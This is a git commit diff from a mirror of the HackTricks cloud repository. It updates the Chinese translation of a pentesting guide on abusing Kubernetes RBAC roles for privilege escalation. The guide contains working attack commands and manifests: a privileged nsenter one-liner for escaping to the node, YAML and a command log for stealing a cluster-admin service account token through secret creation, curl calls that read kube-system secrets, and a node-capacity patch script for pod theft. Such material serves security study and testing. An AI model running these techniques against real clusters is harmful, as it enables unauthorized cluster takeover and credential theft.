mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
Translator
+112
-49
@@ -1,23 +1,23 @@
|
||||
# 在Kubernetes中滥用角色/集群角色
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
在这里你可以找到一些潜在危险的角色和集群角色配置。\
|
||||
记住，你可以使用 `kubectl api-resources` 获取所有支持的资源。
|
||||
这里可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。\
|
||||
请记住，您可以使用 `kubectl api-resources` 获取所有支持的资源。
|
||||
|
||||
## **权限提升**
|
||||
## **特权提升**
|
||||
|
||||
指的是在集群中以**不同权限**（在Kubernetes集群内或外部云中）获取**对不同主体的访问**的艺术，与您当前拥有的权限不同，在Kubernetes中基本上有**4种主要的权限提升技术**：
|
||||
特权提升是指在集群中以**不同权限**（在 Kubernetes 集群内或外部云中）获取**对不同主体的访问**，与您当前拥有的权限不同。在 Kubernetes 中，基本上有**4 种主要技术来提升特权**：
|
||||
|
||||
- 能够**冒充**在Kubernetes集群内或外部云中具有更高权限的其他用户/组/服务账户
|
||||
- 能够**创建/补丁/执行pods**，在其中可以**找到或附加具有更高权限的服务账户**
|
||||
- 能够**读取秘密**，因为服务账户的令牌作为秘密存储
|
||||
- 能够**从容器逃逸到节点**，在这里你可以窃取运行在节点上的所有容器的秘密、节点的凭证，以及节点在其运行的云中的权限（如果有的话）
|
||||
- 第五种值得一提的技术是能够在pod中**运行端口转发**，因为你可能能够访问该pod内的有趣资源。
|
||||
- 能够**冒充**在 Kubernetes 集群内或外部云中具有更高权限的其他用户/组/SAs
|
||||
- 能够**创建/补丁/执行 pods**，在其中可以**找到或附加具有更高权限的 SAs**，在 Kubernetes 集群内或外部云中
|
||||
- 能够**读取秘密**，因为 SAs 的令牌存储为秘密
|
||||
- 能够**从容器逃逸到节点**，在此可以窃取运行在节点上的所有容器的秘密、节点的凭据以及节点在其运行的云中的权限（如果有的话）
|
||||
- 第五种值得一提的技术是能够在 pod 中**运行端口转发**，因为您可能能够访问该 pod 中的有趣资源。
|
||||
|
||||
### 访问任何资源或动词（通配符）
|
||||
|
||||
**通配符（*）对任何资源和任何动词授予权限**。它由管理员使用。在ClusterRole中，这意味着攻击者可以滥用集群中的任何命名空间。
|
||||
**通配符（*）对任何资源和任何动词授予权限**。它由管理员使用。在 ClusterRole 内，这意味着攻击者可以滥用集群中的任何命名空间。
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -77,9 +77,9 @@ hostNetwork: true
|
||||
以下指示容器可以拥有的所有权限：
|
||||
|
||||
- **特权访问**（禁用保护和设置能力）
|
||||
- **禁用 namespaces hostIPC 和 hostPid**，这可以帮助提升权限
|
||||
- **禁用 hostNetwork** namespace，允许访问以窃取节点的云权限和更好地访问网络
|
||||
- **在容器内挂载主机**
|
||||
- **禁用命名空间 hostIPC 和 hostPid**，这可以帮助提升权限
|
||||
- **禁用 hostNetwork** 命名空间，允许访问以窃取节点的云权限和更好地访问网络
|
||||
- **在容器内挂载主机 /**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -123,20 +123,20 @@ kubectl --token $token create -f mount_root.yaml
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
现在您可以逃到节点，检查后期利用技术：
|
||||
现在您可以逃逸到节点，检查后渗透技术：
|
||||
|
||||
#### 隐蔽性
|
||||
|
||||
您可能想要更加**隐蔽**，在接下来的页面中，您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod，您将能够访问的内容：
|
||||
您可能想要更加**隐蔽**，在接下来的页面中，您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod，您将能够访问什么：
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
- **特权 + hostPID**
|
||||
- **仅特权**
|
||||
- **hostPath**
|
||||
- **hostPID**
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_您可以在_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _找到如何创建/滥用之前特权 pod 配置的示例_
|
||||
_您可以在_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _中找到如何创建/滥用前面特权 pod 配置的示例_
|
||||
|
||||
### Pod 创建 - 移动到云
|
||||
|
||||
@@ -153,7 +153,7 @@ pod-escape-privileges.md
|
||||
|
||||
可以滥用这些权限来**创建一个新 pod**并获取权限，如前面的示例所示。
|
||||
|
||||
以下 yaml **创建一个守护进程集并提取 pod 内 SA 的令牌**：
|
||||
以下 yaml **创建一个守护进程集并提取 pod 内部 SA 的令牌**：
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -235,7 +235,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### 绕过 readOnly 保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
如果你足够幸运，并且高度特权的能力 `CAP_SYS_ADMIN` 可用，你可以将文件夹重新挂载为 rw：
|
||||
如果你足够幸运，并且高度特权的能力 `CAP_SYS_ADMIN` 可用，你可以直接将文件夹重新挂载为 rw：
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -316,17 +316,80 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### 创建和读取秘密
|
||||
|
||||
有一种特殊类型的 Kubernetes 秘密，类型为 **kubernetes.io/service-account-token**，用于存储 serviceaccount 令牌。如果您有权限创建和读取秘密，并且您知道 serviceaccount 的名称，您可以按如下方式创建一个秘密，然后从中窃取受害者 serviceaccount 的令牌：
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: stolen-admin-sa-token
|
||||
namespace: default
|
||||
annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
示例利用：
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
|
||||
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
|
||||
Resources Non-Resource URLs Resource Names Verbs
|
||||
selfsubjectreviews.authentication.k8s.io [] [] [create]
|
||||
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
|
||||
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
||||
secrets [] [] [get create]
|
||||
[/.well-known/openid-configuration/] [] [get]
|
||||
<SNIP>
|
||||
[/version] [] [get]
|
||||
|
||||
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
|
||||
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
|
||||
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
|
||||
secret/stolen-admin-sa-token created
|
||||
|
||||
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
|
||||
{
|
||||
"apiVersion": "v1",
|
||||
"data": {
|
||||
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
|
||||
"namespace": "ZGVmYXVsdA==",
|
||||
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
|
||||
},
|
||||
"kind": "Secret",
|
||||
"metadata": {
|
||||
"annotations": {
|
||||
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
|
||||
"kubernetes.io/service-account.name": "cluster-admin-sa",
|
||||
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
|
||||
},
|
||||
"creationTimestamp": "2025-01-11T13:02:27Z",
|
||||
"name": "stolen-admin-sa-token",
|
||||
"namespace": "default",
|
||||
"resourceVersion": "1019116",
|
||||
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
|
||||
},
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
注意，如果您被允许在某个命名空间中创建和读取秘密，则受害者的服务账户也必须在同一命名空间中。
|
||||
|
||||
### 读取秘密 – 暴力破解令牌 ID
|
||||
|
||||
虽然持有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它，但与更广泛的 _**列出秘密**_ 权限不同，仍然存在漏洞。系统中的默认服务帐户可以被枚举，每个帐户都与一个秘密相关联。这些秘密的名称结构为：一个静态前缀后跟一个随机的五字符字母数字令牌（排除某些字符），根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
虽然持有具有读取权限的令牌的攻击者需要使用秘密的确切名称，但与更广泛的 _**列出秘密**_ 权限不同，仍然存在漏洞。系统中的默认服务账户可以被枚举，每个账户都与一个秘密相关联。这些秘密的名称结构为：一个静态前缀后跟一个随机的五字符字母数字令牌（排除某些字符），根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
|
||||
该令牌是从一个有限的 27 字符集（`bcdfghjklmnpqrstvwxz2456789`）生成的，而不是完整的字母数字范围。这个限制将总可能组合减少到 14,348,907 (27^5)。因此，攻击者可以在几小时内可行地执行暴力攻击以推断令牌，这可能导致通过访问敏感服务帐户进行权限提升。
|
||||
该令牌是从一个有限的 27 字符集（`bcdfghjklmnpqrstvwxz2456789`）生成的，而不是完整的字母数字范围。这一限制将总可能组合减少到 14,348,907（27^5）。因此，攻击者可以在几个小时内可行地执行暴力破解攻击，以推断出令牌，从而可能通过访问敏感服务账户实现权限提升。
|
||||
|
||||
### 证书签名请求
|
||||
|
||||
如果您在资源 `certificatesigningrequests` 中具有动词 **`create`**（或至少在 `certificatesigningrequests/nodeClient` 中）。您可以 **创建** 一个 **新节点** 的新 CeSR。
|
||||
|
||||
根据 [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)，因此在这种情况下您 **不需要额外的权限**。如果没有，您需要能够批准请求，这意味着在 `certificatesigningrequests/approval` 中更新，并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
根据 [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)，因此在这种情况下您 **不需要额外的权限**。如果不是，您需要能够批准请求，这意味着在 `certificatesigningrequests/approval` 中更新，并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
|
||||
一个 **具有所有所需权限的角色示例** 是：
|
||||
```yaml
|
||||
@@ -359,10 +422,10 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
所以，随着新的节点CSR被批准，您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
所以，随着新的节点CSR获得批准，您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中，GKE K8s TLS引导配置被设置为**自动签名**，并被滥用以生成新的K8s节点的凭证，然后利用这些凭证提升权限，窃取秘密。\
|
||||
如果您**拥有提到的权限，您可以做同样的事情**。请注意，第一个示例绕过了防止新节点访问容器内秘密的错误，因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
如果您**拥有提到的权限，您可以做同样的事情**。请注意，第一个示例绕过了防止新节点访问容器内部秘密的错误，因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭证**（但请查看如何在第一篇文章中做到这一点）：
|
||||
```bash
|
||||
@@ -370,7 +433,7 @@ verbs:
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
可以在 EKS（需要在 AWS）集群的 kube-system 命名空间中修改 **`configmaps`** 的主体可以通过覆盖 **aws-auth** configmap 获得集群管理员权限。\
|
||||
可以在 EKS（需要在 AWS 上）集群的 kube-system 命名空间中修改 **`configmaps`** 的主体可以通过覆盖 **aws-auth** configmap 获得集群管理员权限。\
|
||||
所需的操作是 **`update`** 和 **`patch`**，或者如果 configmap 尚未创建，则是 **`create`**：
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -413,15 +476,15 @@ groups:
|
||||
> [!WARNING]
|
||||
> 您可以使用 **`aws-auth`** 来实现 **持久性**，允许来自 **其他账户** 的用户访问。
|
||||
>
|
||||
> 然而，`aws --profile other_account eks update-kubeconfig --name <cluster-name>` **在不同账户中不起作用**。但实际上，如果您将集群的 ARN 放入而不仅仅是名称，`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` 是可以工作的。\
|
||||
> 要使 `kubectl` 工作，只需确保 **配置** 受害者的 kubeconfig，并在 aws exec 参数中添加 `--profile other_account_role`，这样 kubectl 将使用其他账户的配置文件来获取令牌并联系 AWS。
|
||||
> 然而，`aws --profile other_account eks update-kubeconfig --name <cluster-name>` **在不同账户中无法工作**。但实际上，如果您将集群的 ARN 放入而不仅仅是名称，`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` 是可以工作的。\
|
||||
> 要使 `kubectl` 工作，只需确保 **配置** 受害者的 **kubeconfig**，并在 aws exec 参数中添加 `--profile other_account_role`，这样 kubectl 将使用其他账户的配置文件来获取令牌并联系 AWS。
|
||||
|
||||
### 在 GKE 中提升权限
|
||||
### 在 GKE 中升级
|
||||
|
||||
有 **2 种方法将 K8s 权限分配给 GCP 主体**。在任何情况下，主体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据，或者您需要 **生成自己的 kubectl 配置文件**（请遵循下一个链接）。
|
||||
有 **2 种方法可以将 K8s 权限分配给 GCP 主体**。在任何情况下，主体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据，或者您需要 **生成自己的 kubectl 配置文件**（请遵循下一个链接）。
|
||||
|
||||
> [!WARNING]
|
||||
> 当与 K8s api 端点交谈时，**GCP 身份验证令牌将被发送**。然后，GCP 通过 K8s api 端点，首先 **检查主体**（通过电子邮件） **是否在集群内有任何访问权限**，然后检查是否通过 GCP IAM **有任何访问权限**。\
|
||||
> 当与 K8s API 端点交谈时，**GCP 身份验证令牌将被发送**。然后，GCP 通过 K8s API 端点首先 **检查主体**（通过电子邮件） **是否在集群内有任何访问权限**，然后检查是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 如果 **任何** 这些条件 **为真**，将会 **响应**。如果 **不**，将会给出一个 **错误**，建议通过 **GCP IAM** 授予 **权限**。
|
||||
|
||||
然后，第一种方法是使用 **GCP IAM**，K8s 权限有其 **等效的 GCP IAM 权限**，如果主体拥有这些权限，则可以使用它。
|
||||
@@ -434,22 +497,22 @@ groups:
|
||||
|
||||
### 创建 serviceaccounts 令牌
|
||||
|
||||
可以 **创建 TokenRequests** (`serviceaccounts/token`) 的主体在与 K8s api 端点交谈时 SAs（信息来自 [**这里**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)）。
|
||||
可以 **创建 TokenRequests** (`serviceaccounts/token`) 的主体在与 K8s API 端点交谈时 SAs（信息来自 [**这里**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)）。
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
可以 **`update`** 或 **`patch`** **`pods/ephemeralcontainers`** 的主体可以获得 **其他 pods 的代码执行**，并可能通过添加具有特权的 ephemeral container **突破** 到其节点。
|
||||
可以 **`update`** 或 **`patch`** **`pods/ephemeralcontainers`** 的主体可以获得 **其他 pods 的代码执行权限**，并可能通过添加具有特权的 ephemeral container **突破** 到其节点。
|
||||
|
||||
### ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations
|
||||
|
||||
对 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 具有 `create`、`update` 或 `patch` 任何动词的主体可能能够 **创建这样的 webhookconfigurations** 以便能够 **提升权限**。
|
||||
具有 `create`、`update` 或 `patch` 任何动词的主体在 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 上可能能够 **创建这样的 webhookconfigurations** 以便能够 **提升权限**。
|
||||
|
||||
对于 [`mutatingwebhookconfigurations` 的示例，请查看此帖的此部分](./#malicious-admission-controller)。
|
||||
有关 [`mutatingwebhookconfigurations` 的示例，请查看此帖的此部分](#malicious-admission-controller)。
|
||||
|
||||
### 提升权限
|
||||
### 升级
|
||||
|
||||
正如您在下一部分中所读到的：[**内置特权提升预防**](./#built-in-privileged-escalation-prevention)，主体不能更新或创建角色或集群角色，而不拥有这些新权限。除非他对 **`roles`** 或 **`clusterroles`** 具有 **动词 `escalate`**。\
|
||||
然后他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。
|
||||
正如您在下一部分中所读到的：[**内置特权升级预防**](#built-in-privileged-escalation-prevention)，主体不能更新或创建角色或集群角色，而不拥有这些新权限。除非他在 **`roles`** 或 **`clusterroles`** 上具有 **动词 `escalate`**。\
|
||||
然后他可以更新/创建具有比他拥有的更好权限的新角色和集群角色。
|
||||
|
||||
### 节点代理
|
||||
|
||||
@@ -459,11 +522,11 @@ groups:
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
您可以在这里找到如何 [**通过 Kubelet API 进行授权的 RCE 示例**](../pentesting-kubernetes-services/#kubelet-rce)。
|
||||
您可以在这里查看如何通过与 Kubelet API 授权交谈来获取 [**RCE 的示例**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
|
||||
### 删除 pods + 无法调度的节点
|
||||
|
||||
可以 **删除 pods**（对 `pods` 资源的 `delete` 动词），或 **驱逐 pods**（对 `pods/eviction` 资源的 `create` 动词），或 **更改 pod 状态**（访问 `pods/status`）并且可以 **使其他节点无法调度**（访问 `nodes/status`）或 **删除节点**（对 `nodes` 资源的 `delete` 动词）并控制一个 pod 的主体，可以 **从其他节点窃取 pods**，使它们在 **被攻陷的** **节点** 中 **执行**，攻击者可以 **窃取这些 pods 的令牌**。
|
||||
可以 **删除 pods**（在 `pods` 资源上使用 `delete` 动词），或 **驱逐 pods**（在 `pods/eviction` 资源上使用 `create` 动词），或 **更改 pod 状态**（访问 `pods/status`）并可以 **使其他节点无法调度**（访问 `nodes/status`）或 **删除节点**（在 `nodes` 资源上使用 `delete` 动词）并控制一个 pod 的主体，可以 **从其他节点窃取 pods**，使它们在 **被攻陷的** **节点** 中 **执行**，攻击者可以 **窃取这些 pods 的令牌**。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -482,23 +545,23 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
|
||||
具有 **`update`** 或 **`patch`** 权限的主体可以修改标签，以影响强制执行的调度约束。
|
||||
|
||||
## 内置特权升级预防
|
||||
## 内置特权提升预防
|
||||
|
||||
Kubernetes 有一个 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权升级。
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权提升。
|
||||
|
||||
该系统确保 **用户无法通过修改角色或角色绑定来提升其权限**。此规则的执行发生在 API 级别，即使 RBAC 授权者处于非活动状态，也提供了保护。
|
||||
|
||||
该规则规定 **用户只能在拥有角色所包含的所有权限的情况下创建或更新角色**。此外，用户现有权限的范围必须与他们试图创建或修改的角色的范围一致：对于 ClusterRoles 是集群范围，对于 Roles 则限于同一命名空间（或集群范围）。
|
||||
该规则规定 **用户只能创建或更新角色，如果他们拥有角色所包含的所有权限**。此外，用户现有权限的范围必须与他们试图创建或修改的角色的范围一致：对于 ClusterRoles 是集群范围内的，或者对于 Roles 限于同一命名空间（或集群范围内）。
|
||||
|
||||
> [!WARNING]
|
||||
> 之前规则有一个例外。如果主体对 **`roles`** 或 **`clusterroles`** 具有 **动词 `escalate`**，他可以在没有自己拥有权限的情况下增加角色和集群角色的权限。
|
||||
|
||||
### **获取 & 修改 RoleBindings/ClusterRoleBindings**
|
||||
### **获取 & 修补 RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **显然这个技术以前有效，但根据我的测试，由于前面部分解释的原因，它现在不再有效。如果你没有权限，你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。**
|
||||
|
||||
创建 Rolebindings 的权限允许用户 **将角色绑定到服务账户**。这个权限可能导致特权升级，因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权提升，因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
|
||||
## 其他攻击
|
||||
|
||||
@@ -556,7 +619,7 @@ Admission controller **在对象持久化之前拦截对 Kubernetes API 服务
|
||||
|
||||
如果攻击者以某种方式成功 **注入一个 Mutationg Admission Controller**，他将能够 **修改已经通过身份验证的请求**。这可能导致权限提升，并且通常能够在集群中持久化。
|
||||
|
||||
**来自** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) 的示例:
|
||||
**示例来自** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
@@ -570,7 +633,7 @@ kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||
|
||||
|
||||
然后部署一个新的 pod：
|
||||
然后部署一个新的 pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
@@ -615,7 +678,7 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
### **使用特定于命名空间的角色而非集群范围的角色**
|
||||
|
||||
- **角色与 ClusterRoles**：优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限，而不是适用于集群范围的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细粒度的控制，并限制了权限的范围。
|
||||
- **角色与 ClusterRoles**：优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限，而不是适用于整个集群的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细粒度的控制，并限制了权限的范围。
|
||||
|
||||
### **使用自动化工具**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user